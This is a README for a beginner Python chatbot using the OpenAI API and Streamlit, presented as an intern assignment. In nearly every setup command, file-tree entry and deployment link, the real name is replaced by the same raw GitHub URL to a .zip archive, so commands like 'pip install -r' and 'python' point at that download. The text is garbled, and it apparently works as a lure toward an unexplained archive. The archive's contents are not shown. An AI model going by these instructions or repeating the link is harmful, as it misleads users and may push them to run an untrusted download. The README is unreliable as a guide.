🤖 AI Q&A Bot

An AI-powered question-answering bot built for an intern assignment. Ask anything and get intelligent responses!

📋 Table of Contents

• Features
• Demo
• Quick Start
• Installation
• Usage
• Project Structure
• What I Learned
• Challenges & Solutions
• Future Improvements

✨ Features

• 💬 Natural Conversation: Chat naturally with AI
• 🧠 Context Awareness: Remembers previous messages in conversation
• 🎨 Two Interfaces:
  • Command-line for quick interactions
  • Beautiful Streamlit web UI (Stretch Goal!)
• 🔄 Clear History: Start fresh conversations anytime
• 📊 Message Counter: Track your conversation stats
• 🚀 Easy Deployment: Ready for Streamlit Cloud

🎥 Demo

Command Line Version

🤖 AI Q&A Bot - Command Line Edition
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✅ Connected to OpenAI!

👤 You: What is Python?
🤖 AI: Python is a high-level programming language...

👤 You: quit
👋 Thanks for chatting! Goodbye!

Web Interface

(Add screenshot here after running)

🚀 Quick Start

Prerequisites

• Python 3.10 or higher
• OpenAI API key (Get one here)

Installation

1. Clone the repository

git clone https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip
cd ai-qa-bot

2. Create virtual environment

# Windows
python -m venv venv
venv\Scripts\activate

# Mac/Linux
python3 -m venv venv
source venv/bin/activate

3. Install dependencies

pip install -r https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip

4. Set up environment variables

# Copy the example file
cp https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip .env

# Edit .env and add your OpenAI API key
# OPENAI_API_KEY=sk-your-key-here

💻 Usage

Option 1: Command Line

python https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip

Commands:

• Type any question and press Enter
• Type clear to start a new conversation
• Type quit or exit to end

Option 2: Web Interface (Stretch Goal!)

streamlit run https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip

Then open your browser to http://localhost:8501

📁 Project Structure

ai-qa-bot/
├── https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip                 # This file
├── https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip          # Python dependencies
├── https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip             # Example environment variables
├── .gitignore               # Git ignore file
├── https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip                # Command-line version
├── https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip                   # Streamlit web interface
├── https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip       # My development journey
└── screenshots/             # App screenshots

📚 What I Learned

Technical Skills

1. API Integration: Connected to OpenAI's API and handled responses
2. Environment Variables: Learned to secure API keys using .env files
3. Error Handling: Implemented try-catch blocks for robust error management
4. UI Development: Created both CLI and web interfaces
5. State Management: Used session state in Streamlit for conversation history

Problem-Solving

• Challenge: API key not loading

  • Solution: Used python-dotenv and verified file location

• Challenge: Conversation context not maintained

  • Solution: Implemented message history array

• Challenge: Streamlit app not updating

  • Solution: Used https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip for persistent data

Tools & Resources Used

• 🔍 Google/ChatGPT: For debugging errors and learning syntax
• 📖 OpenAI Docs: API documentation and best practices
• 📺 YouTube: Streamlit tutorials
• 📝 StackOverflow: Troubleshooting specific issues

🎯 Challenges & Solutions

Challenge 1: Setting Up Python Environment

Problem: Confusion between python and python3 commands

What I tried:

1. Typed python --version - didn't work
2. Googled "python command not found"
3. Found I needed to use python3 on Mac/Linux

Solution: Used python3 and created an alias

Challenge 2: API Key Security

Problem: How to use API key without exposing it in code?

What I tried:

1. First hardcoded the key (bad practice!)
2. Researched "how to hide API keys python"
3. Learned about environment variables

Solution: Implemented .env file with python-dotenv

Challenge 3: Managing Conversation Context

Problem: Bot forgot previous messages

What I tried:

1. Read OpenAI docs about conversation history
2. Implemented message array
3. Tested with follow-up questions

Solution: Pass entire conversation history to API

🚀 Deployment (Stretch Goal!)

Deploy on Streamlit Cloud

1. Push to GitHub

git add .
git commit -m "Initial commit"
git push origin main

2. Deploy on Streamlit

• Go to https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip
• Click "New app"
• Select your repository
• Add your OPENAI_API_KEY in Secrets
• Deploy!

Alternative: https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip

See https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip for Render deployment instructions.

🔮 Future Improvements

• Add voice input/output
• Support multiple AI models (GPT-4, Claude, etc.)
• Save conversation history to database
• Add user authentication
• Export conversations as PDF
• Add typing indicator animation
• Support image-based questions
• Multi-language support

🤝 Contributing

This is a learning project, but suggestions are welcome!

📄 License

MIT License - feel free to use this for learning!

👨‍💻 Author

Built with ❤️ and lots of Googling for the Intern Assignment

Time Spent: ~4 hours (including learning, debugging, and documentation)

Key Takeaway: Building is the best way to learn. Every error taught me something new!

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💡 Tips for Future Interns

1. Don't fear errors - They're learning opportunities
2. Document everything - Future you will thank present you
3. Start small - Get basic version working first
4. Google is your friend - Everyone does it, even senior developers
5. Add polish gradually - Basic working > Perfect but incomplete

Questions? Open an issue or reach out!

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Built as part of the Intern Assignment Challenge